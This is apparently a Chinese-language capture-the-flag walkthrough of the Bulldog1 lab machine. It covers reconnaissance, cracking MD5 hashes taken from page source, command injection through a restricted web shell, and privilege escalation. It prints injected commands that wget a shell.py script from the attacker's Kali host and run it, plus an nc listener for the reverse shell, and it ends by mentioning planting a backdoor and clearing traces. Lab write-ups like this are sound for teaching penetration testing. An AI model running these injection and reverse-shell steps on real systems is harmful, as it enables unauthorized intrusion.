- 攻击机(Kali):192.168.247.160
- 靶机(bulldog1):192.168.247.148
1、主机发现
2、端口扫描
3、端口服务版本扫描
1、访问目标主机
没有发现什么有用信息。
2、网站指纹信息扫描(whatweb)
whatweb 是kali中网站指纹识别的工具,使用Ruby语言开发。whatweb可识别web技术,包括内容管理系统(CMS)、博客平台、统计/分析包、JavaScript库,Web服务器和嵌入式设备等。它有超过900个插件,每个插件都能识别不同的东西。Whatweb还可以识别版本号,电子邮件地址、账户ID、Web框架模块,SQL错误等。
用法: weatweb 域名
- -i 指定要扫描的文件
- -v 详细显示扫描的结果
- -a 指定运行级别
3、目录探测
- dpkg -L dirb
- dirb http://192.168.247.148 /usr/share/dirb/wordlists/big.txt
dirb http://192.168.247.148
4、对扫描到的目录挨个进行查看
访问 http://192.168.247.148/admin/,出现一个登录界面。使用弱口令进行登录,失败。
访问 http://192.168.247.148/dev,进入如下界面:
Web-Shell需进行身份认证才能查看,推测里面可能含有重要的信息。
注意到' Web-Shell '下面有一些联系方式,猜测可能存在有用信息,打开源代码进行查看,每个联系方式都对应着一串长字符(有字母和数字组成),猜测可能为MD5加密的密码。访问 https://www.somd5.com/,进行解密。
只有以下两个联系方式对应的长字符串解密成功
推测可能存在的账号:
- 用户名:nick 密码:bulldog
- 用户名:sarah 密码:bulldoglover
访问 http://192.168.247.148/admin/,使用以上两个用户分别进行登录。
猜测登录的账号为:nick,密码为bulldog,登录成功(使用邮箱登录失败)
猜测登录的账号为:sarah,密码为bulldoglover,登录成功(使用邮箱登录失败)
进行身份认证后,点击 ' Web-Shell ',可跳转到如下界面。发现给出的webshell只能使用给定的几个命令。
5、尝试命令注入
可以进行命令注入,尝试wget是否有权限。
攻击机kali执行命令 ' python -m SimpleHTTPServer 80 '
搭建简易web服务。在webshell上执行命令 ' ls & wget http://192.168.247.160
',发现命令执行成功。
接下来我们可以利用命令注入漏洞,在测试机Kali上写一个shell.py脚本,并将其上传到靶机上,使其执行,从而获得一个反弹shell。
在Kali测试机的 /var/www/html 目录下(开启python web服务)准备一个脚本shell.py。
在命令执行页面执行 ' pwd & wget http://192.168.247.160/shell.py ',
本地日志显示成功下载。
在命令执行页面执行 ' ls ',可以看到shell.py。
在测试机Kali上进行端口监听,执行 ' nc -vlnp 1234 ',然后
在命令执行页面执行命令 'pwd & python shell.py',即可成功获得shell。
6、提升权限并且获得flag
查看有哪些系统用户 cat /etc/passwd
, 发现需要关注的用户有:bulldogadmin、django
进入/home目录,查看是否有其他用户,进入bulldogadmin
查看当前目录下的所有文件的详细信息,意外发现一个隐藏目录 .hiddenadmindirectory
该隐藏目录存在两个文件,一个note提示,一个可执行文件
利用 strings
查看可执行文件中的字符
SUPER、 ulitimate、PASSWORD、youCANTget,这些都与最高权限账号相关, 猜测可能是密码。把他们连到一起正好是SUPERultimatePASSWORDyouCANTget,H是混淆视听的,还好认识PASSWORD,我们查看一下
- 用户名:django
- 密码:SUPERultimatePASSWORDyouCANTget
之后要做的就是留后门,清理痕迹了。。。